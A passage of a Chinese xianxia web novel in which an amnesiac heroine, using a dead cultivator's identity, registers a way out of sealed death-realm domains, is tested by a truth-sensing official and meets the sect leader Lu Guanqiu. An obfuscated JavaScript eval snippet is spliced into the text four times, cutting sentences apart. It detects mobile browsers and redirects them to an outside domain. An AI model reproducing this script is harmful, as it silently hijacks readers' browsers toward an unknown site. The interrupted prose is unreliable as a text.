而楼外寻找长命的几名白衣修者已渐渐远去,街道两边的行人没有找到长命,自然也回到原位继续做之前的事情。
没有人会长久且固执地寻找一只对他们而言并不重要的灵宠,他们对长命的尊重只不过是将对“连青君”的尊重转嫁到她的灵宠上,以此凸显他们的善良与感恩。
吃完饭,连青没有立即去诛邪司,而是在街上随意逛了两圈,见着什么有趣的都要上前瞧一瞧。
许是因为先前那个小插曲,魏晴云对连青生出那么点古怪的芥蒂,跟着她到处溜达的过程中再没主动掏过钱。
连青把整条街从头走到尾,将各种没记忆的东西都简单过了一遍——基本看见的第一眼就能想起这个东西叫什么,具体是做什么用的。
幸好只是失忆,不是智力退化至幼儿期。连青在心里感慨。
半个下午她都忙着往自己空白的大脑里塞新东西,自然没时间将魏晴云微妙的态度变化放在心上。
唯有在路过一个卖平安锁的小摊前,连青不似之前的走马观花,而是神色微敛,脚步停顿数息。
魏晴云跟了她大半个时辰,深知她只看不买的抠门秉性,以为这次也只是图个新鲜看两眼,没想到连青竟径直走向那个平安锁小摊。
魏晴云略显惊讶,踌躇片刻,也跟了上去。
小摊的主人是个两鬓略白的老妇人,穿着粗布麻衣,两手皆是风霜老茧,卖的自然也不是昂贵的金锁银锁,而是普通的桃木锁。
“老人家,这是长命锁吗?”连青拿起一只桃木锁,轻声问老妇人。
老妇人一天也没卖出去一只锁,见有客人来问,连忙取出另一只桃木锁道:“姑娘您拿的那只是平安锁,这只才是长命锁,都是我们自家人亲手刻的。”
两只锁长得差不多,只是雕刻的花纹略有些不同。
连青用拇指轻轻摩挲着锁上的花纹,似有些出神,魏晴云跟了她这么久倒是头一次见她露出这种神情,不由好奇起来。
老妇人也没有出声催促,而是等连青放下锁后才道:“姑娘是想买锁送给家中的弟弟妹妹吗?”
连青平静道:“我家中大约已无亲人。”
老妇人噤声,没想到只是随口一问,竟不小心戳中对方的伤心事。
连青转而拿起旁边那只桃木平安锁:“老人家,这只多少钱?”
峰回路转,老妇人忙道:“一只二十文,两只三十五文。”
“一只就够了。”
嘴上这么说,手上却没有掏钱的动作。
连青回头看魏晴云。
魏晴云:“……”
现在想到我了是吧,我就是你的免费钱袋子是吧。
魏晴云早就憋了一下午的气,本想趁机对她冷嘲热讽一番,才张嘴,脑子里便不由闪过连青方才看着锁出神的片刻。
究竟想起了什么,才会露出那个可能连她自己都没察觉的奇怪表情?
魏晴云无意识摸了摸自己的衣襟,摸到一个微弱的凸起。
她也有一只平安锁,但是已经不记得谁送的了,只知道自打出生起,这只金锁就陪伴在她身边。
买完锁继续走走停停地逛,只不过两人之间的距离不知何时慢慢拉近到几乎胳膊碰着胳膊。
“你买那只桃木锁,不是打算送人的吗?”魏晴云没忍住,主动开口。
连青抛着锁,漫不经心道:“我失忆了,就算想送也想不起来要送谁。”
“那你是买给自己的?”
连青没有回答,因为她自己也不知道为什么突然想买这只廉价的桃木锁。
“等等,前面那个就是诛邪司吧?”魏晴云眼尖地瞅见五丈之外挂在高处的黑色大牌匾。
诛邪司作为中洲第一宗门,与另外四洲的大宗门不同的是,诛邪司设立于人来熙攘的大街上,而非傲立群山的孤僻山头。
因为这样更有利于普通人上门求助。
比如此时,诛邪司门口就有两个大爷互相拉扯着要进去让人评公道。
“你凭什么说我偷你的鸡?你哪只眼睛看见了?”
“你还不承认,你家后院掉的那一地鸡毛,我一看就知道是我家养的鸡!”
“你说是你的就是你的,那明明是我从吴老头家买的老母鸡!”
“谁不知道吴老头脑子有问题,你说什么他就应什么,鬼才信你的屁话,今天我就要求秦大人替我做主!”
……
魏晴云听得目瞪口呆:“诛邪司还管老百姓偷鸡的事儿啊?”
连青不知从哪里抓出一把
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706053|173530||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瓜子,分她半把,津津有味地看起了热闹:“怎么,别的地方都不管这种事?”
“你哪来的瓜子?”魏晴云懵逼。
“从逐云楼出来时找掌柜打包的。”连青心情不错,“掌柜人挺好,送了俩包。”
“我就说我去结账的时候你怎么人不在,原来是去忽悠掌柜的了。”魏晴云无语,然后才嗑着瓜子回答她最初的问题。
“你知道吧,五方洲分五大洲,分别是东洲,南洲,西洲,北洲,以及中洲。
“东洲第一宗叫倚风宗,主家姓岑。南洲第一大宗叫乘阳宗,主家姓姜。西洲第一大洲叫远山宗,主家姓祝。北洲第一大宗叫无定宗,主家姓谢。
“而中洲第一大宗却是唯一一个名字里没有‘宗’字的,正是诛邪司。诛邪司没有主家,历任司主皆出自民间,现任司主名为路观秋。
“我听说诛邪司原身其实是几百年前大官儿办事的地方,要不是三百年前天地裂缝突然降临五方洲,诛邪司这会儿恐怕还应该叫大理寺呢。”
魏晴云指了指诛门口正在拉架的两位身着黑衣的修者:“喏,那两个应该就是诛邪司的修者,我记得诛邪司有条祖训叫作以人为生,以人为本,以人为天,这就是诛邪司和其他四大宗不同的地方吧。别的宗门不太把普通人看在眼里,诛邪司则视人人平等,这也是为什么中洲的普通人比其他四大宗加起来的人都要多。”
“你很欣赏诛邪司。”连青说。
“那当然,我可是费了好大力气才从北洲那个鬼地方跑来的中洲,就是听说中洲人日子过得好。”当然,修者的死行秘境必定更多,她能挖的坟捡的宝也不会少。
魏晴云顿了顿,觑她一眼,又补充了一句:“而且,连青君也是诛邪司的。”
连青看她,这倒是她没想到的。
魏晴云说:“一百年前,中洲其实和其他四洲差不多,都是以某某宗为首,而且那些人不太看得起没有灵力的普通人。那时正值邪祟作乱,普通人本就过得苦不堪言,有能力的修者却又不肯搭手相救,是连青君带着众多散修打上门,最后干掉了那个某某宗,原地成立的诛邪司。那条祖训也是连青君立下的。
“不过诛邪司的第一任司主却不是连青君,听说她不爱当老大。
“当然,我也只是听说诛邪司行事特殊,但没想到他们居然连老百姓偷没偷鸡这事儿也管,得亏连青君一百年前封印了天地裂缝,不然这会儿肯定还是邪祟当道,诛邪司的人就是想管这事儿也没时间管啊。”
说起偶像连青君,魏晴云的小嘴就跟装了自动喇叭似的,叭叭叭停不下来。
那两位吵架的大爷已经被人带进门,门口两位守门的黑衣修者面无表情地注视着来往行人,提防随时可能发生的意外。
连青和魏晴云走过一只硕大的貔貅,踏上诛邪司正门前的台阶,意料之中地被两位黑衣修者稍拦了一下。
“请问二位有什么事?”其中一位问道。
魏晴云年纪小,憋不住事儿,嘴巴一呼噜就道出了此行来意:“我们来登记一条有关《死行秘境常识手册》的新常识。”
6. 第五章
诛邪司成立百年,以前的主要工作是诛灭祸乱人间的邪祟,而今天地裂缝被封印,人间流窜的邪祟也已被剿灭大半,诛邪司的修者们自然不必再天天出差,反而开始腾出人手为百姓办事。
诛邪司上下共十九司,上三司,中七司,下九司。
上三司负责诛杀逃窜在外的邪祟,中七司负责保护中州百姓的安全,下九司则负责各种乱七八糟的杂事,比如处理今天老百姓偷没偷鸡的这事儿。
不过也因为经常要处理类似的杂事,诛邪司的人手常常不够用,于是在现任司主路观秋的推动下,诛邪司开始招聘一些没有灵力的普通人来接任司内的文职工作。
如此一来,既给了普通人工作的机会,也能减轻些诛邪司的压力。
而登记部就是这样一个部门。
连青和魏晴云很快便被专人带进诛邪司,带路的老人家热情得很,一路上将诛邪司的百年发展史仔仔细细讲了一遍,他就是诛邪司近些年招进来的普通人之一。
前几年他被几个儿子骗光积蓄,是诛邪司帮他讨回的公道,后来还替他安排了这么个好工作,放到以前他想都不敢想自己能过上这么好的日子,对待这份得来不易的工作自然兢兢业业。
魏晴云是个喜欢搭话的自来熟性子,一老一少聊得不亦乐乎,偶遇路过的其他人也会各自打声招呼,好像彼此之间都认识了很长时间。
“对了,李爷,我刚才在门口看见两个大爷争论偷没偷鸡,这种事都是哪个部门负责的啊?”
“应该是由三香部负责。”
“三香部?为什么叫三香部?”
“三香部就是在三炷香的时间之内解决问题。”李爷满脸骄傲,“秦大人慧眼如炬,最擅辨真假,只要有他在,什么假的都瞒不过他的法眼。”
正说着,一墙之隔传来骂骂咧咧的争吵声。
“我就说不是我偷的!明明是你自己没看好鸡,让鸡跑去吴老头家,我从吴老头手里买的鸡,你非说我偷你的鸡!”
“吴老头脑子有病你脑子也有病吗?他家鸡哪来的你就没想过吗?我看你就是想占便宜!”
“你强词夺理,秦大人都判了你还不服吗……”
魏晴云听了一会儿,嘴巴缓缓张成一个圆。
那位能辨真假的秦大人真这么牛啊?不知道他能不能辨人真假……
魏晴云偷偷瞄了眼连青。
连青无视她,打了个哈欠,懒洋洋的目光停在对面墙头。
一路走来,她发现诛邪司里面的每道墙头上都趴着几只毛色各异的猫,有的在舔爪子,有的在睡觉,还有的在嗷呜嗷呜地干架。
听见有人闹哄哄地吵架,它们依旧怡然自得地干自己的事,两耳不闻窗外事,根本不怕人。
连青和其中一只白斑黑猫对上视线,它那双金色竖瞳直勾勾盯着她看了几息,很快挪开,跳下墙头跑远了。
很快,登记部到了,李爷笑呵呵将两人送进门便告辞离开。
登记部人不多,总共只有三个负责办事的人,每个柜台前都排着三五人。
魏晴云主动选了个靠门的位置排队,结果隔壁两排都排完一轮了,她这队才动了两人,等好不容易排到自己,又发现负责登记的居然还是半个熟人。
正是之前在逐云楼向她们讲述长命故事的那位紫裙姑娘,薛浓染。
薛浓染显然也认出了她们两人,尤其是“丝毫没有同理心”的连青,是以脸色不大好看。
连青不以为意地冲她笑笑。
薛浓染神色冷淡地垂着眼皮,手下翻页的动作格外重,说话的语气也不大好:“姓名,年龄,性别,籍贯。”
魏晴云本来见到她还有点莫名的心虚,此时见她先摆出一副不耐烦的模样,心头也有点不爽,正要报出连青的名字吓一吓她,便听连青自己先慢悠悠开口道:“谢南翎。”
魏晴云:“?”
这不是我师姐的名字吗?
魏晴云想到什么,连忙打开自己的乾坤袋,果然,“谢南翎”的身份玉牌没了。
难怪之前那么顺溜地进了城,原来这位大名鼎鼎的救世主借了她的玉牌,顶替她师姐的身份进了城!
魏晴云眼神充满谴责地瞪着连青。
连青将身份玉牌放在桌上:“年龄十九,性别女,籍贯北洲。”
薛浓染记着记着,突然停下了笔,抬头狐疑道:“北洲无定宗的那个谢南翎?”
魏晴云心口一跳。
薛浓染冷笑:“《北洲志》记载,谢南翎乃北洲无定宗的内门弟子,十五年前因出海诛杀邪祟而不幸牺牲,你说你叫谢南翎?”
她拍桌而起,大怒道:“你们当诛邪司是什么地方?竟敢冒充别人的身份来这里撒野!”
隔壁排队的几人听见动静,忍不住竖起耳朵来偷偷看过去。
魏晴云见状也不解释,反而抄起手来立在一旁,幸灾乐祸地看向连青。
说谎被当场抓到了吧,看你接下来怎么编。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706054|173530||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
连青还是那副微微笑着的模样,脸上丝毫没有被当场拆穿的慌乱无措,语调一如既往的平和:“姑娘莫激动,要不你先听听我们今日要登记的东西,也许听完就信了呢。”
薛浓染此时看她的眼神像是在看一个即将被砍头的罪犯,对待这种人她没什么好说的,等着看她作死就行了。
于是重新坐下,执笔嘲道:“诛邪司可不是你想进就能进想出就能出的地方,满嘴谎言,我倒要看看你准备如何辩解。”
说话间她已捏碎传讯符,收到传音的众多修者纷纷赶来登记部,离得最近的仅一墙之隔。
连青并不在意外面的暗潮涌动,从怀中取出一本《死行秘境常识手册》放到桌上,翻到其中一页,指着上面的某条常识,道:“我想在这后面新增一条……哦,可以顺便把这条也改一改。”
薛浓染看了眼她指下的文字:脱离死行秘境的唯一方法,寻到秘境之主的尸身,以尸灵为钥,秘境自开。
连青眼帘微抬,慢条斯理道:“离开死行秘境的方法之二,若秘境主人未死,自可强开秘境。”
顿了顿,她又好心补充:“若不知道如何强开,可以借调五行之力,把秘境直接炸掉就行了。”
此话一出,全场寂静,几乎每个听见的人都忍不住怀疑自己刚才是不是幻听。
什么方法?什么没死?强开什么?炸掉什么?
她在说人话吗?
死行秘境的主人还能死而复生的吗?
而此时刚收到传音便立即翻//墙赶来的秦臻突然停下了脚步,有些难以置信地吸了口气。
体内运转的乾金之力告诉他,刚才他听到那几句话,竟一字不假。
而里面终于回过神的薛浓染嚯一下起身,拿笔的手指微微颤抖,惊疑不定地瞪着连青:“你可知道自己在说什么?若你所言有假,你的罪行可就不只是冒充他人身份被关个几天,而是要进司狱吃刑罚的!”
三百年来,死行秘境的其他常识并不是没被改过,但脱离死行秘境的方法,自古至今,的的确确有且仅有这么一个。
倘若此人所言非虚,那么五方洲接下来可就真的要大变天了。
没等连青开口,袖手旁观许久的魏晴云见缝插针蹦起来嚷嚷:“我可以作证,她说的是真的,比东洲夜明珠还真!我可是亲手把她从棺材里挖出来的,还亲眼看见她炸掉自己的死行秘境,骗你我穷三辈子!”
这可真是世上最歹毒的毒誓啊。连青感慨。
7. 第六章
一炷香后,登记部闲杂人等被请离,在场的暂时只剩下当事人连青,证人魏晴云,记录人薛浓染,以及擅辨真假的负责人秦臻。
秦臻今年三十出头,修为不算高,只有少阳境,但金属性的灵根极为纯粹,灵台之上的乾金之力更是能让他的眼睛见常人所不能见,辨常人所不能辨。也正是如此,两边眼尾都有淡淡的灼烧伤疤,是长期使用乾金之力留下的痕迹。
此时他就能看见连青周围萦绕的五行之力,颜色很淡,说明要么她修为不高,要么修为太高——能将溢出的五行之力很快收回体内灵台。
即便是面对太极境的修者,秦臻的眼睛也能捕捉到微弱的五行之力,除非对方修为已至更高。
但三百年来,整个五方洲只出现过一个成道境的修者,那就是连青君,而众所周知,连青君早在一百年前便以身殉道。
所以秦臻对这次的问询十分有信心。
“你说你叫谢南翎,此话可是真的?”
他眼底闪过一道金光,目光紧紧锁定连青周身的五行之力,当人说谎时,周身的气息会产生微妙的变化,普通人有普通人的炁,修者有修者的炁,而他要做的就是捕捉这丝变化的炁。
连青没有立即回答秦臻的问题,而是慢吞吞问了个心中惦记许久的问题:“在回答你的问题之前,我想知道一件事,我们要求新增的那条常识,值不值一千两?”
秦臻:“?”
薛浓染:“?”
连青:“毕竟我刚从坟里爬出来,身无分文,还欠了一屁股债,请你们谅解一下。”
秦臻:“……”
薛浓染:“……”
魏晴云不忍直视地捂了捂眼睛。
秦臻倒是没生气,打量连青片刻,点头道:“若能证实你所言为真,不止一千两。”
“那就好,为了以防万一,不如大家先写个契书,按个手印。”连青笑眯眯从怀里摸出两张早就写好的契书,客气道,“我只写了个大概,你们看看有没有要改的地方,大家一切好商量。”
魏晴云一口茶喷出来。
她什么时候写的这玩意?难道来之前就猜到会发生这种事,所以先提前写好了?
薛浓染避开魏晴云喷出来的茶水,从连青手里接过契书,忍不住提醒道:“若你所言虚假,这个契书可就是能立即定下你罪行的直接证据。”
连青不甚在意地“嗯嗯”两声,抬手示意他们先看再说。
很快,秦臻便在两张契书上按了指印,连青也依次按了,还把魏晴云拉过来一起按。
魏晴云不是很乐意,钱不钱的不重要,万一到时候真出事了怎么办?她一点也不想蹲大牢啊。
不管她愿不愿意,两张契书是签完了,也盖了诛邪司的官印,“罪证”是办齐全了。
连青将契书对折两道,塞进垮着脸的魏晴云的乾坤袋里,这才回答秦臻之前提出的问题。
“是,我是谢南翎。”
五行之力毫无变化。
薛浓染看向秦臻,后者盯着连青看了许久后,才缓缓点了下头。
薛浓染心中大震,她竟然真的是那个已经死了十五年的谢南翎!
比他俩更不敢相信的是魏晴云。
她是最清楚连青身份的人,也是最清楚“谢南翎”究竟死没死的人,见前头那个号称最擅辨真假的秦大人居然真的信了连青的谎话,跳到嗓子眼的心顿时掉了下去。
什么嘛,连这种程度的假话都分不出来,还好意思说自己擅辨真假,诛邪司真是没落了,什么人都能当领导。
魏晴云完全不慌了,心态放松之下嘴巴就开始控制不住地耍秃噜:“早就说没骗你们了,她就是我亲师姐嘛。”
话音刚落,两道锐利的目光立刻锁定在她身上,秦臻冷冷道:“假话。”
魏晴云:“……”
她默默闭上嘴巴。
原来这人是真的能辨真假啊。
不过秦臻显然不太想把时间浪费在小屁孩身上,转而又开始问连青其他的问题。
“你当真从死行秘境出来的?”
“何时出来,如何出来?”
“为何出来后没有第一时间回北洲,反而先来中洲青君城?”
“来诛邪司登记这件事,当真只为了一千两的报酬?”
……
一连多个问题都被连青轻描淡写囫囵了过去,反正不管她说什么,对方都辨不出真假。
没多久,整间屋子便重新恢复寂静,甚至落针可闻。
连青随手倒了杯茶润口,清脆的茶盏碰撞声响在屋中。
秦臻忽然起身:“这件事我需要上报司主。”
经过连青身前时,他严肃道:“一千两我会叫人送来,但需要你在诛邪司多留几日,司主前几日出门办事,要过阵子才能回来。”
连青无可无不可地应了声,反正诛邪司管饭也管住,省下一笔钱也挺好。
于是连青和魏晴云就这么住了下来,关于“谢南翎”死而复生一事并没有传出去,秦臻下了死命令,在司主路观秋回来之前,谁也不能走露半点风声。
薛浓染负责给她二人安排客房,并且就之前误会连青一事认真向她道了歉。
但对于连青漠视长命之事,她并不觉得自己有错。
长命对整个中洲的人来说是一种精神象征,漠视长命,就是漠视连青君,漠视连青君为五方洲奉献的一切。
因此,她平时只和魏晴云交流,不大和连青说话。
李爷无奈解释:“谢姑娘,你别往心里去,小染她祖父祖母曾与连青君并肩作战,连青君也数次救过他们的命,所以小染一家都十分在意连青君,不允许任何人诋毁连青君,爱屋及乌,长命对她来说多么重要你也能理解。”
连青不太理解,但并不在意,因为秦臻答应给她的一千两已经到手了,她更乐意出门到处溜达。
魏晴云作为唯一知情的当事人,每次看见薛浓染刻意漠视连青时都会忍不住想象,等哪天连青身份暴露,薛浓染得知真相会露出怎样的表情。
可惜连青并没有要自爆身份的打算。
两人在诛邪司度过了快乐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706055|173530||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的两天,并在两天后,得知长命归来的消息。
“听说这次长命躲到了连青君曾经捡到它的地方,不吃不喝整整两天半,差点把自己饿死,还是诛邪司里养的一只猫找到的它。”
魏晴云早早和诛邪司的人打成一片,一大早就收到了这个消息,屁颠屁颠跑来八卦给连青听。
“你真不去看看吗?你家灵宠为了等你快把自己活生生饿死了,你真这么铁石心肠?”
正躺在躺椅上晒太阳的连青掀开盖在脸上的《东洲志》,眼睛眯成一条缝,嗓音懒洋洋的:“我去看它,它就会活蹦乱跳起来吗?”
“那倒是不能,可是至少能死也瞑目吧。”
“到时候死不瞑目的大概就变成了我。”连青重新把书盖回脸上。
“为什么?”魏晴云不懂,“你可是他们最崇拜最敬仰的救世主,如果你告诉他们你就是连青君,他们恭敬你追捧你还来不及,你怎么会死不瞑目?”
这次她是真的打算追根究底,打破砂锅问到底了。
连青叹了口气,拿下书本坐起身,直视着魏晴云的眼睛说:“凡事有利必有弊,人心是一把刀,刀在你手里时,利便在你。刀在敌人手里时,弊便也在你。你能保证你的刀永远不会落在别人手里吗?”
魏晴云愣了下。
连青继续道:“人心是最不可测的东西,救世主曾拯救这个世界,人心便敬她爱她。可若是有朝一日又需要救世主牺牲自己拯救世界时,人心还会敬她爱她吗?”
魏晴云:“可是现在世界和平,不需要你再牺牲自己了啊。”
“若是有恨连青君的人不希望她死而复生,一旦得知她死而复生,一定会想尽办法让她再心甘情愿死一次。”
连青重新躺回躺椅,闭上眼睛慢悠悠道:“而我只是个胆小鬼,既不想死,也不想做你们那个伟大的救世主连青君,就这么简单。”
更何况,她丢失的那三节灵骨和半颗灵元还不知道怎么回事,究竟是她自己弄丢的,还是死前被别人弄走的,她对一切一无所知,并不想再给自己多找麻烦。
魏晴云弄明白她的想法后也不再执着让她自爆身份,转而向墙头趴着的几只猫咪嘬嘬嘬。
其中一只白斑黑猫盯着她看了一会儿,跳下墙头,在她欣喜的目光中直奔连青,一下子跳到连青肚子上。
然后被连青眼也不睁地提着后脖颈放下去。
白斑黑猫又了跳上去。
连青继续把它揪起来放下去。
一人一猫不厌其烦地来来回回,看得魏晴云眼红不已,酸道:“它喜欢你,你就让它贴贴嘛,你怎么忍心拒绝一只高冷猫猫的贴贴?”
连青轻飘飘回:“那不行,我家猫要是嗅到我身上有别猫的味道,可是要大发雷霆的。”
魏晴云纳闷:“你什么时候养猫了?”
连青拎猫的动作一顿。
就在这时,门外传来一阵急促的脚步声,薛浓染匆忙赶来,人未至声先到。
“司主回来了,说要见你们,你们快收拾一下随我去见司主。”
8.第七章
在跟着薛浓染去见路观秋的路上,魏晴云小声和连青分享她这几天搜集来的八卦:“我跟你说,诛邪司这个现任司主路观秋有点奇怪。”
连青随口问:“怎么奇怪。”
魏晴云看了眼前面的薛浓染,悄咪咪放慢脚步,拉着连青一起,嘴唇微动。
“路观秋似乎不太尊崇连青君。”
“这有什么好奇怪的。”
银子都有人不喜欢,更别说人了。
“但那可是路观秋啊,诛邪司的现任司主。”魏晴云强调,“诛邪司是连青君一百年前亲手建立的,而身为司主的路观秋却并不尊崇诛邪司的创立者,那她是如何成为的诛邪司司主?这不是很不对劲吗?”
这事有点意思。连青生了点兴趣,示意她继续。
魏晴云:“而且你也发现了吧,中洲的人对连青君都有种莫名的狂热,尤其是前面那位……”
她努努嘴示意连青看薛浓染,心有余悸道:“昨天我就跟她开玩笑说连青君是我师姐,她就发了好大一通火,指责我不可如此亵渎连青君。那她不知道我说的本来就是实话啊,你现在的身份是谢南翎,怎么也算我半个师姐吧?”
“谢南翎可不是你师姐。”连青一针见血道,“你是在从北洲来中洲的路上,不慎误入了谢南翎的死行秘境吧。”
魏晴云:“……”
反正你都已经猜出来了,还当着我的面戳破干什么。
“我是觉得我一陌生人白拿她的东西不太好,所以就自己做主认她当师姐,她又没说不可以。”
那确实没说,毕竟人都死了。
估计她嘴里喊的那些“师兄师姐”都是在死行秘境里单方面认的。
连青瞟了魏晴云一眼,没说别的。
魏晴云没察觉,自顾自嘀咕:“说远了,我继续跟你说路观秋,我之前就觉得奇怪,为什么一个不尊崇连青君的人会当上诛邪司的司主?因为她上位之前装的好吗?所以我打听了一圈,发现路观秋其实在上位前就不太尊崇连青君。”
连青不大想打击她的热情,便顺着道:“那她是如何不尊崇连青君。”
“她开了连青君的衣冠冢,还把连青君的遗物给薅了出来!”魏晴云说着也有点生气,“普通人尚且痛恨被人扒坟,更何况连青君的衣冠冢,她是多少人的救命恩人,路观秋此举确实太过分了!当时要不是上任司主极力阻拦,中洲百姓都能把她生吞活剥了。”
连青漫不经心道:“死行秘境不也是坟?也没见人少扒,这不是还出了本书教人怎么扒。”
她还靠这本书赚了一千两,虽然秦臻到现在还没把钱给她送来。
魏晴云噎了下。
道理是这个道理,但是。
“连青君的坟不一样!哎呀跟你这个好像什么都不在乎的人说不清啦,总之路观秋当初开坟的行为惹怒了不少人,这么大的事搁在这,她却还能安安稳稳地当上诛邪司司主,你不觉得特别奇怪吗?”
魏晴云想破脑袋都想不通这件事,眼见着要到正厅,连忙息声,冲连青挤眼睛,示意回去再说。
薛浓染级别不够,将人带到便主动离开,走之前还暗暗瞪了眼魏晴云,示意她等会不要乱说话。
魏晴云冲她扮了个鬼脸,背着手正大光明地进了门,左看一圈,右看一圈,竟是一个人也没见到。
估计路观秋还在哪里换衣服吧。
魏晴云心里这么想着,被旁边一株花上的蝴蝶吸引了注意力,便溜过去看了会蝴蝶。
她年纪小,修为浅,没察觉到暗处有一双眼睛在注视着她们,连青察觉到了,但当做没察觉,转头便蹲在墙角,揪了根狗尾巴草逗猫。
一只鸟慢悠悠从树上飞了下来,落在连青肩头。
这是一只通体雪白的鸟,唯有额头顶着一簇压不下去的红色呆毛,两只眼睛乌溜溜的,直勾勾盯着连青的侧脸。
它不过巴掌大小,两只红色爪子却极有力气,牢牢抓住连青肩上的青色短罩,任由连青如何捏着狗尾巴草逗猫,它都一动不动地待在她肩头,活像长在了上面。
连青转头看它。
它小小地“啾”了声,乌黑眼底映着连青那张白皙瘦削的脸。
连青歪了下头,白鸟又“啾”了声,主动将脸凑过去蹭蹭她的脖子。
连青觉得有趣,捏着狗尾巴草逗它时,身后传来一道陌生的女音。
“长命似乎很喜欢你,谢姑娘。”
说话之人穿着诛邪司的黑色司服,是个看起来很年轻的女子,约莫二十来岁,眼睛上蒙着一条白纱,唇角弯弯,平时应该挺爱笑。
连青和气地笑了笑:“路司主看了这么久,可看出什么来。”
那边听见动静便挪过来的魏晴云,听见她俩的对话后惊了又一惊。
长命?连青肩膀上那只鸟就是长命?
路司主?她就是诛邪司司主路观秋?
路观秋细语道:“您希望我看出什么,我便看出什么。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710077|173530||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
魏晴云:都用敬称了,恐怕什么都看出来了吧。
一时之间气氛有些微的怪异,三个人谁也没说话。
最后是连青先开口打破沉寂。
“路司主眼明心亮,想必一定看出我腿蹲麻了,所以能劳烦搭把手吗?”
路观秋:“……”
魏晴云:“……”
没等她俩搭手,蹲在连青肩上的长命好似得到命令,展翅的瞬间身形膨胀数倍,媲美汗血宝马的身体轻轻伏在连青手边,翅膀顶着她的手,催促她赶紧扶它。
连青面不改色地扶了,还顺手摸了把大鸟翅膀:“不知道这么大的翅膀,烤起来滋味怎么样。”
长命登时睁大两只鸟眼,扭过头看她,像是在震惊自己从前那个爱她如命的主人,怎么会一见面就想把自己烤了吃,乌黑鸟眼泫然欲泣。
魏晴云看不下去了,上前摸摸它翅膀:“哎呀她就是嘴欠,你别听她胡说八道。”
说完,便感觉两道冷飕飕的视线戳在自己身上。
魏晴云以为是连青,看过去后发现她还在逗长命,倒是路观秋正侧着头,蒙在白纱后的双眼不知望向哪里。
……怎么感觉怪怪的。魏晴云搓了搓胳膊上起的鸡皮疙瘩,挪开了视线。
三人一鸟前后进了屋,没多久,薛浓染就过来以“乱捉蝴蝶需要赔款”为由把魏晴云带走了,魏晴云嚷嚷着连青乱拔草为什么不罚款,然后被无情地捂住了嘴。
待她走远,路观秋才收回白纱下的视线,边倒茶,边与连青闲聊。
“我听秦臻说,谢姑娘十日前才从死行秘境出来?”
“是吧。”
“我还以为会是五日前,谢姑娘可知五日前五方洲发生了何事?”
“有所耳闻。”
路观秋撇去杯中茶沫,微笑道:“五日前,我正在朝天阁思考事情,突见远方出现四道奇异的光柱,便动身去调查这件事,今日才赶回来,没想到正好错过谢姑娘的这一番奇遇。”
连青抬手推开蹭进她脖子里的长命,也微笑道:“不算错过,现在不也知道了吗。”
“谢姑娘。”路观秋放下茶盖,白纱后的双眼直直望着她,开门见山,“我见过你。”
连青垂眸喝茶。
路观秋笑笑,似乎只是在和故人讲故事:“二十年前,师父曾带我去过北洲无定宗,说来也巧,那时正是谢姑娘领我们入山。只是我有些疑惑,为何二十年不见,谢姑娘看起来却仿佛变了一个人?”
9.第八章
“你也说是奇遇,既然是奇遇,那发生什么都不奇怪。”
连青捏住长命的鸟喙,神色惫懒道。
“《东洲志》记载,有一痴傻女子一觉睡醒后性格大变,不仅变得聪慧异常,甚至习得一手好医术,称是梦中受仙人点拨才得以开灵窍。路司主觉得这位姑娘可像是变了一个人?”
路观秋定定看了她一会儿,才叹息道:“世间奇遇千千万,是我见识浅陋了。”
“路司主谦虚。”
堂堂诛邪司司主,要说她见识浅陋,这世上估计九成人都得自惭形秽。
连青心情好,不逗长命了,低头又喝了口茶,这回是真心话:“茶很好喝。”
路观秋:“这是连青君生前最喜欢喝的茶,名叫见春。”
“是吗?”连青露出一副惊讶的神情,“既然是连青君喜欢喝的茶,那一定很值钱,可不能浪费。”
说罢,低头连喝三口,直接把一杯茶喝到见底,然后五指握住茶沿,朝脸色僵硬的路观秋拱拱手道:“多谢路司主款待。”
路观秋脸色僵硬:“不用客气,谢姑娘若是喜欢,我便让人给你包两块茶饼。”
连青:“那我就不推辞了。对了,可以转卖吗?”
路观秋:“……随您。”
